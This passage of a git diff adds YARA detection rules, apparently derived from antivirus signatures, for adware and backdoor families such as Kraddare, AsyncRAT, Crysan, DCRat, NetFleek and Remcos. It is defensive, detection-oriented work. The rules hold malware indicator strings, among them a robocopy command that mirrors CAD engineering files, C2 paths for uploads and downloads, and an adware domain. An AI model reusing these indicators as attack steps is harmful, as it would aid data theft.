$a_03_55 = {8a 14 1a 8a c2 02 c0 02 d0 c0 e2 ?? 80 fa ?? 7d } //1 - $a_10_56 = {00 00 e6 49 f8 07 33 da e1 fe 39 ca b5 e4 00 04 00 80 80 10 00 00 1b 8c 77 12 57 d0 9a 83 ec 0f 7c a9 30 04 00 80 80 10 00 00 ff 53 0d 1b 60 93 84 fb 37 d2 fe 7f 00 04 00 80 80 10 00 00 8c b4 5a 2f dc 72 d7 a2 b5 f1 dd f4 00 10 00 80 80 10 00 00 ad ab 04 3a 63 34 6f c9 ed e9 10 79 00 10 00 80 80 10 00 00 6c 99 0d 52 a0 27 79 5f 04 c1 49 1d 00 10 00 80 80 10 00 00 a0 3d 6a 6a ec 2e } //0 - $a_56_57 = {8d 00 04 00 80 80 10 00 00 dc 1e 8f 6b 91 1c 2c bb 54 cd a2 1b 00 04 00 80 80 10 00 00 1f 1a c7 85 1f 9c 2a a2 39 bd 7f ae 00 04 00 80 80 10 00 00 f3 f9 4c 90 8c 7b 56 b7 b0 be d5 f1 00 04 00 80 80 10 00 00 f3 f9 4c 90 8c 7b 56 b7 f2 4d d1 72 00 04 00 80 80 10 00 00 3e 78 ea a3 fc e6 e1 68 36 93 81 ad 00 04 00 80 80 10 00 00 d0 6f 08 bc 6f 6c 94 50 62 b7 b9 5a 00 10 00 80 80 10 00 00 26 81 e5 be ec 2f 8b 68 93 c9 b3 e8 00 20 00 00 80 10 00 00 3f 17 7f c6 1f 4a 60 f5 98 e8 5b 97 00 20 00 00 80 10 00 00 a8 76 8a cd 3b f1 cc 5b f8 f1 2d 7c 00 10 00 80 80 10 00 00 c5 c4 e4 d4 6b 09 92 5f 4c aa 16 99 00 04 00 80 80 10 00 00 dd 07 b8 e9 73 ca ce 62 54 69 4a a4 00 04 00 80 } //17418 - $a_ef_59 = {0b ee 71 6f 1d d0 c5 00 10 00 80 80 10 00 00 1e fe 7c f6 21 ed 48 88 54 24 ca 00 00 20 00 00 80 10 00 00 db dc b1 fc ca aa c7 fc 9f fd aa d2 20 04 00 80 87 10 00 00 a4 11 d7 2f 34 21 df b8 8b 3e 35 1f 3f e6 01 00 87 10 00 00 db 48 ae 35 18 99 ac 41 e7 d3 d9 fb 3a a5 02 00 87 10 00 00 91 fe 42 3a fc 8c 0e 5a 73 73 48 17 b9 f7 14 00 87 10 00 00 5c 2f 2d 48 52 39 86 f5 70 3b a7 26 e2 bb 04 00 87 10 } //-14232 - $a_ca_60 = {4b e7 f0 a4 74 } //0 + $a_15_56 = {00 e2 38 4d 24 2c d4 3a 03 d3 75 85 b8 72 35 f2 42 90 0f cf 4c cf 80 10 00 00 e6 49 f8 07 33 da e1 fe 39 ca b5 e4 00 04 00 80 80 10 00 00 1b 8c 77 12 57 d0 9a 83 ec 0f 7c a9 30 04 00 80 80 10 00 00 ff 53 0d 1b 60 93 84 fb 37 d2 fe 7f 00 04 00 80 80 10 00 00 8c b4 5a 2f dc 72 d7 a2 b5 f1 dd f4 00 10 00 80 80 10 00 00 ad ab 04 3a 63 34 6f c9 ed e9 10 79 00 10 00 80 80 10 00 00 } //0 + $a_52_57 = {27 79 5f 04 c1 49 1d 00 10 00 80 80 10 } //-26260 + $a_3d_58 = {6a ec 2e 0a 44 e1 56 a6 8d 00 04 00 80 80 10 00 00 dc 1e 8f 6b 91 1c 2c bb 54 cd a2 1b 00 04 00 80 80 10 00 00 1f 1a c7 85 1f 9c 2a a2 39 bd 7f ae 00 04 00 80 80 10 00 00 f3 f9 4c 90 8c 7b 56 b7 b0 be d5 f1 00 04 00 80 80 10 00 00 f3 f9 4c 90 8c 7b 56 b7 f2 4d d1 72 00 04 00 80 80 10 00 00 3e 78 ea a3 fc e6 e1 68 36 93 81 ad 00 04 00 80 80 10 00 00 d0 6f 08 bc 6f 6c 94 50 62 b7 b9 5a 00 10 00 80 80 10 00 00 26 81 e5 be ec 2f 8b 68 93 c9 b3 e8 00 20 00 00 80 10 00 00 3f 17 7f } //0 + $a_60_59 = {98 e8 5b 97 00 20 00 00 80 10 00 00 a8 76 8a cd 3b f1 cc 5b f8 f1 2d 7c 00 10 00 80 80 10 00 00 c5 c4 e4 d4 6b 09 92 5f 4c aa 16 99 00 04 00 80 80 10 00 00 dd 07 b8 e9 73 ca ce 62 54 69 4a a4 00 04 00 80 80 10 00 00 68 c8 } //8134 + $a_0b_60 = {ee 71 6f 1d d0 c5 00 10 00 80 80 10 00 00 1e fe 7c f6 21 ed 48 88 54 24 ca 00 00 20 00 00 80 10 00 00 db dc b1 fc ca aa c7 fc 9f fd aa d2 20 04 00 80 87 10 00 00 a4 11 d7 2f 34 21 df b8 8b 3e 35 1f 3f e6 01 00 87 10 00 00 db 48 ae 35 18 99 ac 41 e7 d3 d9 fb 3a a5 02 00 87 10 00 00 91 fe 42 3a fc 8c 0e 5a 73 73 48 17 b9 f7 14 00 87 10 00 00 5c 2f 2d 48 52 39 86 f5 70 3b a7 26 e2 bb 04 00 87 10 00 00 05 ca a8 4b e7 f0 a4 74 12 86 49 21 7f cc 01 00 87 10 00 00 53 8e 68 cf 86 b4 92 c0 53 fd 41 47 e2 cd 05 00 87 10 00 00 54 0b c1 f8 1f 6f e0 17 d5 b7 63 4b 82 d3 05 00 5f 0c 00 00 25 00 5c 6d 77 73 76 6d 2e 62 69 6e 5f 0c 00 00 25 00 5c 6d 77 73 76 6d 2e 65 78 65 5f 0c 00 00 25 00 5c 6d 77 73 76 6d 2e 6f 63 78 5f 14 00 00 25 00 5c 64 72 } //-4219 condition: - ((#a_11_0 & 1)*800+(#a_63_1 & 1)*3584+(#a_00_3 & 1)*111+(#a_00_5 & 1)*110+(#a_61_6 & 1)*6144+(#a_11_8 & 1)*30+(#a_62_9 & 1)*6144+(#a_11_11 & 1)*30+(#a_62_12 & 1)*8192+(#a_00_14 & 1)*111+(#a_00_15 & 1)*100+(#a_00_17 & 1)*101+(#a_00_18 & 1)*121+(#a_00_20 & 1)*101+(#a_00_21 & 1)*101+(#a_65_22 & 1)*18262+(#a_67_23 & 1)*24936+(#a_6f_24 & 1)*28532+(#a_2e_25 & 1)*3584+(#a_6b_26 & 1)*17494+(#a_71_27 & 1)*16726+(#a_00_28 & 1)*32+(#a_00_30 & 1)*118+(#a_00_32 & 1)*115+(#a_00_34 & 1)*47+(#a_00_35 & 1)*110+(#a_1a_36 & 1)*-30719+(#a_8b_37 & 1)*13059+(#a_00_39 & 1)*101+(#a_00_41 & 1)*116+(#a_00_43 & 1)*114+(#a_00_44 & 1)*108+(#a_76_45 & 1)*6656+(#a_00_47 & 1)*108+(#a_00_48 & 1)*105+(#a_00_49 & 1)*278+(#a_70_50 & 1)*19286+(#a_56_51 & 1)*16174+(#a_40_52 & 1)*5256+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_03_55 & 1)*1+(#a_10_56 & 1)*0+(#a_56_57 & 1)*17418+(#a_ef_59 & 1)*-14232+(#a_ca_60 & 1)*0) >=832 + ((#a_11_0 & 1)*800+(#a_63_1 & 1)*3584+(#a_00_3 & 1)*111+(#a_00_5 & 1)*110+(#a_61_6 & 1)*6144+(#a_11_8 & 1)*30+(#a_62_9 & 1)*6144+(#a_11_11 & 1)*30+(#a_62_12 & 1)*8192+(#a_00_14 & 1)*111+(#a_00_15 & 1)*100+(#a_00_17 & 1)*101+(#a_00_18 & 1)*121+(#a_00_20 & 1)*101+(#a_00_21 & 1)*101+(#a_65_22 & 1)*18262+(#a_67_23 & 1)*24936+(#a_6f_24 & 1)*28532+(#a_2e_25 & 1)*3584+(#a_6b_26 & 1)*17494+(#a_71_27 & 1)*16726+(#a_00_28 & 1)*32+(#a_00_30 & 1)*118+(#a_00_32 & 1)*115+(#a_00_34 & 1)*47+(#a_00_35 & 1)*110+(#a_1a_36 & 1)*-30719+(#a_8b_37 & 1)*13059+(#a_00_39 & 1)*101+(#a_00_41 & 1)*116+(#a_00_43 & 1)*114+(#a_00_44 & 1)*108+(#a_76_45 & 1)*6656+(#a_00_47 & 1)*108+(#a_00_48 & 1)*105+(#a_00_49 & 1)*278+(#a_70_50 & 1)*19286+(#a_56_51 & 1)*16174+(#a_40_52 & 1)*5256+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_03_55 & 1)*1+(#a_15_56 & 1)*0+(#a_52_57 & 1)*-26260+(#a_3d_58 & 1)*0+(#a_60_59 & 1)*8134+(#a_0b_60 & 1)*-4219) >=832 } rule Adware_Win32_AdRotator_37{ diff --git a/Adware/Win32/Kraddare/Adware_Win32_Kraddare.yar b/Adware/Win32/Kraddare/Adware_Win32_Kraddare.yar index 792066b6bc..39a74bc685 100644 --- a/Adware/Win32/Kraddare/Adware_Win32_Kraddare.yar +++ b/Adware/Win32/Kraddare/Adware_Win32_Kraddare.yar @@ -1,5 +1,29 @@ rule Adware_Win32_Kraddare{ + meta: + description = "Adware:Win32/Kraddare,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 } //www.muuk.co.kr 2 + $a_80_1 = {77 69 6e 64 6f 77 73 74 61 62 2e 65 78 65 } //windowstab.exe 1 + $a_80_2 = {77 69 6e 64 6f 77 73 74 61 62 2e 70 68 70 } //windowstab.php 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} +rule Adware_Win32_Kraddare_2{ + meta: + description = "Adware:Win32/Kraddare,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 2f 61 70 70 2f 77 69 6e 64 6f 77 73 74 61 62 } //www.muuk.co.kr/app/windowstab 2 + $a_80_1 = {77 69 6e 64 6f 77 73 74 61 62 2e 70 68 70 } //windowstab.php 1 + $a_80_2 = {4e 65 74 58 74 72 65 6d 65 } //NetXtreme 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} +rule Adware_Win32_Kraddare_3{ meta: description = "Adware:Win32/Kraddare,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " diff --git a/Backdoor/BAT/Androm/Backdoor_BAT_Androm_AGQA_MTB.yar b/Backdoor/BAT/Androm/Backdoor_BAT_Androm_AGQA_MTB.yar new file mode 100644 index 0000000000..9483e397bb --- /dev/null +++ b/Backdoor/BAT/Androm/Backdoor_BAT_Androm_AGQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_BAT_Androm_AGQA_MTB{ + meta: + description = "Backdoor:BAT/Androm.AGQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {06 17 9a 6f ?? 00 00 0a 1e 09 5a 59 13 04 11 04 16 fe 04 13 05 11 05 2c 0a 00 1e 11 04 58 0c 16 13 04 00 7e ?? 00 00 04 07 09 59 06 17 9a 11 04 08 6f ?? 00 00 0a 18 28 ?? 00 00 0a 9c 00 09 17 58 0d 09 07 fe 02 16 fe 01 13 06 11 06 2d b0 } //5 + $a_03_1 = {0f 00 08 20 00 04 00 00 58 28 ?? 00 00 2b 00 07 02 08 20 00 04 00 00 6f ?? 00 00 0a 0d 08 09 58 0c 09 20 00 04 00 00 fe 04 13 04 11 04 2c 0c 00 0f 00 08 28 ?? 00 00 2b 00 2b 06 00 17 13 05 2b be } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Backdoor/BAT/AsyncRAT/Backdoor_BAT_AsyncRAT_PAGL_MTB.yar b/Backdoor/BAT/AsyncRAT/Backdoor_BAT_AsyncRAT_PAGL_MTB.yar new file mode 100644 index 0000000000..97e78484d1 --- /dev/null +++ b/Backdoor/BAT/AsyncRAT/Backdoor_BAT_AsyncRAT_PAGL_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_BAT_AsyncRAT_PAGL_MTB{ + meta: + description = "Backdoor:BAT/AsyncRAT.PAGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {0b 17 8d 09 00 00 01 13 05 11 05 16 72 01 00 00 70 a2 11 05 0c 07 08 16 } //2 + $a_00_1 = {5b 00 30 00 32 00 34 00 35 00 37 00 38 00 39 00 37 00 34 00 61 00 73 00 66 00 36 00 38 00 34 00 33 00 73 00 72 00 36 00 67 00 38 00 37 00 67 00 36 00 37 00 5d 00 } //2 [024578974asf6843sr6g87g67] + condition: + ((#a_01_0 & 1)*2+(#a_00_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Bladabindi/Backdoor_BAT_Bladabindi_SV_MTB.yar b/Backdoor/BAT/Bladabindi/Backdoor_BAT_Bladabindi_SV_MTB.yar new file mode 100644 index 0000000000..9c43d91b9e --- /dev/null +++ b/Backdoor/BAT/Bladabindi/Backdoor_BAT_Bladabindi_SV_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_Bladabindi_SV_MTB{ + meta: + description = "Backdoor:BAT/Bladabindi.SV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {07 09 08 09 1e d8 1e 6f 26 00 00 0a 18 28 27 00 00 0a 9c 09 17 d6 0d 09 11 04 13 05 11 05 31 e0 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_ADRA_MTB.yar b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_ADRA_MTB.yar new file mode 100644 index 0000000000..caf167df1e --- /dev/null +++ b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_ADRA_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_Crysan_ADRA_MTB{ + meta: + description = "Backdoor:BAT/Crysan.ADRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 0b 06 07 16 1a 6f ?? 00 00 0a 26 07 16 28 ?? 00 00 0a 0c 06 16 73 ?? 00 00 0a 0d 08 8d ?? 00 00 01 13 04 16 13 05 38 1e 00 00 00 09 11 04 11 05 08 11 05 59 6f ?? 00 00 0a 13 06 11 06 39 0c 00 00 00 11 05 11 06 58 13 05 11 05 08 32 dd } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_ARWA_MTB.yar b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_ARWA_MTB.yar new file mode 100644 index 0000000000..6adc90fd55 --- /dev/null +++ b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_ARWA_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_BAT_Crysan_ARWA_MTB{ + meta: + description = "Backdoor:BAT/Crysan.ARWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 06 28 ?? 00 00 0a 0a 06 20 00 01 00 00 6f ?? 00 00 0a 06 11 05 6f ?? 00 00 0a 06 11 06 6f ?? 00 00 0a 06 6f ?? 00 00 0a 0b 02 73 ?? 00 00 0a 0d 09 07 16 73 ?? 00 00 0a 13 04 73 ?? 00 00 0a 0c 11 04 08 6f ?? 00 00 0a 08 6f ?? 00 00 0a 13 07 de 2a } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_AYWA_MTB.yar b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_AYWA_MTB.yar new file mode 100644 index 0000000000..a6e37f3ceb --- /dev/null +++ b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_AYWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_Crysan_AYWA_MTB{ + meta: + description = "Backdoor:BAT/Crysan.AYWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 02 11 03 11 04 11 03 91 11 01 11 03 11 01 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 20 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_NIT_MTB.yar b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_NIT_MTB.yar new file mode 100644 index 0000000000..ca8035daa9 --- /dev/null +++ b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_NIT_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_BAT_Crysan_NIT_MTB{ + meta: + description = "Backdoor:BAT/Crysan.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {02 7b 01 00 00 04 6f ?? 00 00 0a 0a 06 8e 69 18 3c 01 00 00 00 2a 06 16 9a 75 03 00 00 01 0b 07 14 28 ?? 00 00 0a 39 01 00 00 00 2a 07 6f ?? 00 00 0a 7e 03 00 00 04 25 3a 17 00 00 00 26 7e 02 00 00 04 fe 06 0b 00 00 06 73 06 00 00 0a 25 80 03 00 00 04 28 ?? 00 00 2b 0c 08 14 28 ?? 00 00 0a 39 0c 00 00 00 02 7b 01 00 00 04 08 6f ?? 00 00 0a 2a } //2 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + $a_01_2 = {43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 } //1 CreateEncryptor + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_SN_MTB.yar b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_SN_MTB.yar new file mode 100644 index 0000000000..ce455f02a1 --- /dev/null +++ b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_SN_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_Crysan_SN_MTB{ + meta: + description = "Backdoor:BAT/Crysan.SN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {08 6f 0a 00 00 0a 0d 09 02 16 02 8e 69 6f 0b 00 00 0a 13 04 dd 1a 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_SO_MTB.yar b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_SO_MTB.yar new file mode 100644 index 0000000000..7f1162d980 --- /dev/null +++ b/Backdoor/BAT/Crysan/Backdoor_BAT_Crysan_SO_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_Crysan_SO_MTB{ + meta: + description = "Backdoor:BAT/Crysan.SO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 28 35 00 00 06 0a dd 09 00 00 00 26 dd 00 00 00 00 06 2c eb } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Backdoor/BAT/DCRat/Backdoor_BAT_DCRat_BAA_MTB.yar b/Backdoor/BAT/DCRat/Backdoor_BAT_DCRat_BAA_MTB.yar new file mode 100644 index 0000000000..0ed366cee5 --- /dev/null +++ b/Backdoor/BAT/DCRat/Backdoor_BAT_DCRat_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_DCRat_BAA_MTB{ + meta: + description = "Backdoor:BAT/DCRat.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {11 05 02 16 02 8e 69 ?? ?? 00 00 0a 11 05 ?? ?? 00 00 0a 11 04 ?? ?? 00 00 0a 0b dd 1e 00 00 00 11 05 39 07 00 00 00 11 05 ?? ?? 00 00 0a dc 11 04 39 07 00 00 00 11 04 ?? ?? 00 00 0a dc 09 ?? ?? 00 00 0a dd 0d 00 00 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Backdoor/BAT/DCRat/Backdoor_BAT_DCRat_GZZ_MTB.yar b/Backdoor/BAT/DCRat/Backdoor_BAT_DCRat_GZZ_MTB.yar new file mode 100644 index 0000000000..bc8fc2ec70 --- /dev/null +++ b/Backdoor/BAT/DCRat/Backdoor_BAT_DCRat_GZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_DCRat_GZZ_MTB{ + meta: + description = "Backdoor:BAT/DCRat.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {01 25 16 72 ?? 00 00 70 72 ?? 00 00 70 72 ?? 00 00 70 28 ?? 00 00 0a a2 25 17 72 ?? 00 00 70 72 ?? 00 00 70 72 ?? 00 00 70 28 ?? 00 00 0a a2 25 18 72 ?? 00 00 70 72 ?? 00 00 70 72 ?? 01 00 70 28 ?? 00 00 0a a2 25 19 72 ?? 01 00 70 72 ?? 00 00 70 72 ?? 01 00 70 28 ?? 00 00 0a a2 25 1a 72 ?? 01 00 70 72 ?? 00 00 70 72 ?? 01 00 70 28 ?? 00 00 0a a2 25 1b 72 ?? 01 00 70 72 ?? 00 00 70 72 ?? 01 00 70 28 ?? 00 00 0a a2 7e } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Backdoor/BAT/DCRat/Backdoor_BAT_DcRat_SM_MTB.yar b/Backdoor/BAT/DCRat/Backdoor_BAT_DcRat_SM_MTB.yar new file mode 100644 index 0000000000..273a4838f0 --- /dev/null +++ b/Backdoor/BAT/DCRat/Backdoor_BAT_DcRat_SM_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_BAT_DcRat_SM_MTB{ + meta: + description = "Backdoor:BAT/DcRat.SM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {00 06 07 09 58 91 02 7b 0b 00 00 04 09 91 fe 01 13 05 11 05 2d 05 00 16 0c 2b 16 00 09 17 58 0d 09 02 7b 0b 00 00 04 8e 69 fe 04 13 05 11 05 2d cf } //2 + $a_81_1 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 45 78 70 6c 6f 72 65 72 5c 41 64 76 61 6e 63 65 64 } //2 Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced + $a_81_2 = {53 68 6f 77 53 75 70 65 72 48 69 64 64 65 6e } //2 ShowSuperHidden + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Backdoor/BAT/DCRat/Backdoor_BAT_DcRat_SN_MTB.yar b/Backdoor/BAT/DCRat/Backdoor_BAT_DcRat_SN_MTB.yar new file mode 100644 index 0000000000..ff5f52baef --- /dev/null +++ b/Backdoor/BAT/DCRat/Backdoor_BAT_DcRat_SN_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_BAT_DcRat_SN_MTB{ + meta: + description = "Backdoor:BAT/DcRat.SN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_81_0 = {24 32 66 39 32 66 32 66 39 2d 64 66 65 66 2d 34 32 35 39 2d 62 66 32 61 2d 39 64 62 39 65 63 35 64 38 35 35 63 } //2 $2f92f2f9-dfef-4259-bf2a-9db9ec5d855c + $a_81_1 = {42 58 43 4a 44 46 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //2 BXCJDF.Properties.Resources + $a_81_2 = {42 58 43 4a 44 46 2e 65 78 65 } //2 BXCJDF.exe + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_A_dha.yar b/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_A_dha.yar new file mode 100644 index 0000000000..890bb78ccc --- /dev/null +++ b/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_A_dha.yar @@ -0,0 +1,17 @@ + +rule Backdoor_BAT_NetFleek_A_dha{ + meta: + description = "Backdoor:BAT/NetFleek.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {4c 6f 61 64 50 6c 75 67 69 6e 73 } //1 LoadPlugins + $a_01_1 = {47 65 74 50 6c 75 67 69 6e 73 } //1 GetPlugins + $a_01_2 = {45 78 65 63 75 74 65 50 6c 75 67 69 6e 73 } //1 ExecutePlugins + $a_01_3 = {75 70 64 4c 6f 63 61 74 69 6f 6e } //1 updLocation + $a_01_4 = {2e 00 75 00 73 00 62 00 } //1 .usb + $a_01_5 = {2e 00 73 00 63 00 72 00 6e 00 } //1 .scrn + $a_01_6 = {2e 00 73 00 6f 00 63 00 } //1 .soc + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_B_dha.yar b/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_B_dha.yar new file mode 100644 index 0000000000..1e9e74a350 --- /dev/null +++ b/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_B_dha.yar @@ -0,0 +1,13 @@ + +rule Backdoor_BAT_NetFleek_B_dha{ + meta: + description = "Backdoor:BAT/NetFleek.B!dha,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {46 69 72 6d 61 63 68 41 67 65 6e 74 } //1 FirmachAgent + $a_01_1 = {74 00 61 00 73 00 6b 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 } //1 task/upload + $a_01_2 = {74 00 61 00 73 00 6b 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 } //1 task/download + condition: + ((#a_81_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_C_dha.yar b/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_C_dha.yar new file mode 100644 index 0000000000..6cb433be28 --- /dev/null +++ b/Backdoor/BAT/NetFleek/Backdoor_BAT_NetFleek_C_dha.yar @@ -0,0 +1,16 @@ + +rule Backdoor_BAT_NetFleek_C_dha{ + meta: + description = "Backdoor:BAT/NetFleek.C!dha,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_01_0 = {72 00 6f 00 62 00 6f 00 63 00 6f 00 70 00 79 00 2e 00 65 00 78 00 65 00 } //1 robocopy.exe + $a_01_1 = {2f 00 6d 00 69 00 72 00 20 00 2f 00 72 00 3a 00 31 00 20 00 2f 00 77 00 3a 00 31 00 20 00 2f 00 6e 00 70 00 20 00 2f 00 78 00 6a 00 20 00 2f 00 73 00 6c 00 } //1 /mir /r:1 /w:1 /np /xj /sl + $a_01_2 = {2a 00 2e 00 73 00 74 00 65 00 70 00 20 00 2a 00 2e 00 73 00 6c 00 64 00 64 00 72 00 77 00 20 00 2a 00 2e 00 73 00 6c 00 64 00 70 00 72 00 74 00 20 00 2a 00 2e 00 73 00 6c 00 64 00 61 00 73 00 6d 00 20 00 2a 00 2e 00 73 00 74 00 70 00 20 00 2a 00 2e 00 78 00 5f 00 74 00 } //1 *.step *.slddrw *.sldprt *.sldasm *.stp *.x_t + $a_01_3 = {2f 00 52 00 3a 00 33 00 20 00 2f 00 57 00 3a 00 35 00 20 00 2f 00 58 00 4f 00 } //1 /R:3 /W:5 /XO + $a_01_4 = {54 00 65 00 6d 00 70 00 45 00 6d 00 70 00 74 00 79 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 2d 00 } //1 TempEmptyDirectory- + $a_01_5 = {5c 00 2e 00 66 00 73 00 5c 00 } //1 \.fs\ + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_AROA_MTB.yar b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_AROA_MTB.yar new file mode 100644 index 0000000000..40b42e3fa0 --- /dev/null +++ b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_AROA_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_Remcos_AROA_MTB{ + meta: + description = "Backdoor:BAT/Remcos.AROA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings 